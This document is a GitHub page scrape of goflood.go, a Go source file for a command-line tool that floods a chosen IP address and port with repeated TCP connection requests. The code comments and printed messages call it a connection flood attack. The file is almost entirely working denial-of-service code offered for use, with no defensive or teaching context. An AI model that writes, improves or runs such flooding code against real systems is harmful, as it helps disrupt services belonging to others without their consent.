-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgoflood.go
111 lines (88 loc) · 2.7 KB
/
goflood.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package main
// imported packages
import (
"flag"
"fmt"
"log"
"net"
"strconv"
"strings"
"github.com/fatih/color"
)
// variables
var (
author string
version string = "1"
targetPort int
numOfRequests int
targetIP string
)
/**
Banner Function
This prints the welcome banner / version number when application is launched
*/
func banner() {
name := fmt.Sprintf("goflood (v.%s)", version)
banner := `
________ ___________.__ .___
/ _____/ ____\_ _____/| | ____ ____ __| _/
/ \ ___ / _ \| __) | | / _ \ / _ \ / __ |
\ \_\ ( <_> ) \ | |_( <_> | <_> ) /_/ |
\______ /\____/\___ / |____/\____/ \____/\____ |
\/ \/ \/
`
// window width
allLines := strings.Split(banner, "\n")
w := len(allLines[1])
// Centered
fmt.Println(banner)
color.Green(fmt.Sprintf("%[1]*s", -w, fmt.Sprintf("%[1]*s", (w+len(name))/2, name)))
color.Blue(fmt.Sprintf("%[1]*s", -w, fmt.Sprintf("%[1]*s", (w+len(author))/2, author)))
fmt.Println()
}
/**
Main Function
Entry point to application - takes targetIP, targetPort and numOfRequests as parameters
launches a connection flood attack against the specified target
*/
func main() {
//Display Banner
banner()
//Capture arguments
flag.StringVar(&targetIP, "targetIP", "127.0.0.1", "Target IP")
flag.IntVar(&targetPort, "targetPort", 80, "Target Port")
flag.IntVar(&numOfRequests, "numOfRequests", 1000, "Number of Requests")
flag.Parse()
//Launch connection flood attack
connectionFlood(targetIP, targetPort, numOfRequests)
}
/**
Connection Flood Function
This function takes the targetIP (ip) , targetPort (port) & the number of requests (requests)
It will flood the target with connection requests
*/
func connectionFlood(ip string, port int, requests int) {
//display attack information prior to launching attack
fmt.Printf("Connection Food Attack Started against Target : %s \n", ip)
fmt.Printf("on port : %s \n", strconv.Itoa(port))
fmt.Printf("sending: %s : requests \n", strconv.Itoa(requests))
//setup loop for connection requests
index := requests
for index > 0 {
//connects to the address on the target network
_, err := net.Dial("tcp", ip+":"+strconv.Itoa(port))
//handle any error
if err != nil {
//log error - port closed
log.Printf("Port %s closed", strconv.Itoa(port))
} else {
//print sent connection request
fmt.Printf("Connection request sent to port %s \n", strconv.Itoa(port))
}
//decrement number of requests by 1
index--
}
//print that attack is complete
fmt.Printf("%s requests sent \n", strconv.Itoa(requests))
fmt.Printf("Connection Flood Attack Complete against %s ", targetIP+":"+strconv.Itoa(port))
}